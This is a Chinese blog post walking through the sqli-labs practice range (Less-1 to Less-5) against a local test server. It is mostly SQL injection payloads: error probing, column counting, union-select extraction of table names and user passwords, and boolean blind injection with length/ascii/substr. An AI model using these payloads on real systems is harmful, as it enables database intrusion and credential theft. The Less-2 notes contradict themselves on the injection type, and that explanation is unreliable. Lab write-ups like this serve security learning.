sql-lab靶场详细题解

Less-1

字符型注入

1、判断是否存在注入点

http://127.0.0.1/sql/Less-1/?id='

出现sql语句错误提示,说明可能存在sql注入漏洞
img

2、判断注入类型

-1' or 1=1 #

返回如上图的sql错误,应该是注释符#没有起作用,导致后面的`多了出来
换成

-1' or 1=1 --+

有回显,说明是字符型注入。
img

3、判断查询列数

-1' order by 4 --+

img

输入3不报错,说明一共有3列。

4、确定显示位

-1' union select 1,2,3 --+

img
说明只有2,3是显示位。

5、获取数据库名

id=-1' union select 1,database(),3 --+

为:security

6、获取数据库表名

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

为:emails,referers,uagents,users

7、获取表中字段名

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

得到字段名为:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password

8、获取表中数据

id=-1' union select 1,group_concat(id,username),group_concat(password) from users --+

img

Less-2

数字型注入

id='

sql语句报错,存在注入点

-1' or 1=1 --+

报错,说明不需要单引号闭合,为字符型注入

-1 order by 4 --+

提示不存在,存在3列

先查看回显位

-1 union select 1,2,3 --+

img
看到只有2,3是回显位置。

查询数据库表名

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

img

查看字段名

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

img

查看表中数据数据

union select 1,group_concat(id,username),group_concat(password) from users --+

img

Less-3

字符型+括号

id=1'

注意到报错里面的''1'') LIMIT 0,1'
img
这关不仅存在单引号闭合还有括号闭合

-1') or 1=1 --+

有回显,说明是字符型注入
img

查询列数为3

?id=-1') order by 3 --+

获取回显位置为2,3同上

接下来的操作和结果可看Less-1。只是注入时多加了括号)。
img

Less-4

尝试单引号闭合没有情况,换成双引号出现sql语句报错信息

id"

img

有图片可知同样需要括号闭合
同样步骤可看之前的指令
需要保证闭合为

?id=-1")

img

Less-5

布尔盲注

输入id=1' 存在sql报错,存在漏洞

输入id =1有提示you are in
输入100没提示
1、是否存在注入

?id=-1' or 1=1 --+

img
为字符型

2、获取数据长度

这段的时候环境太不稳定了

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

Less-6

posted @ 2026-11-17 20:06  laiyi一一  阅读(2)  评论(0)    收藏  举报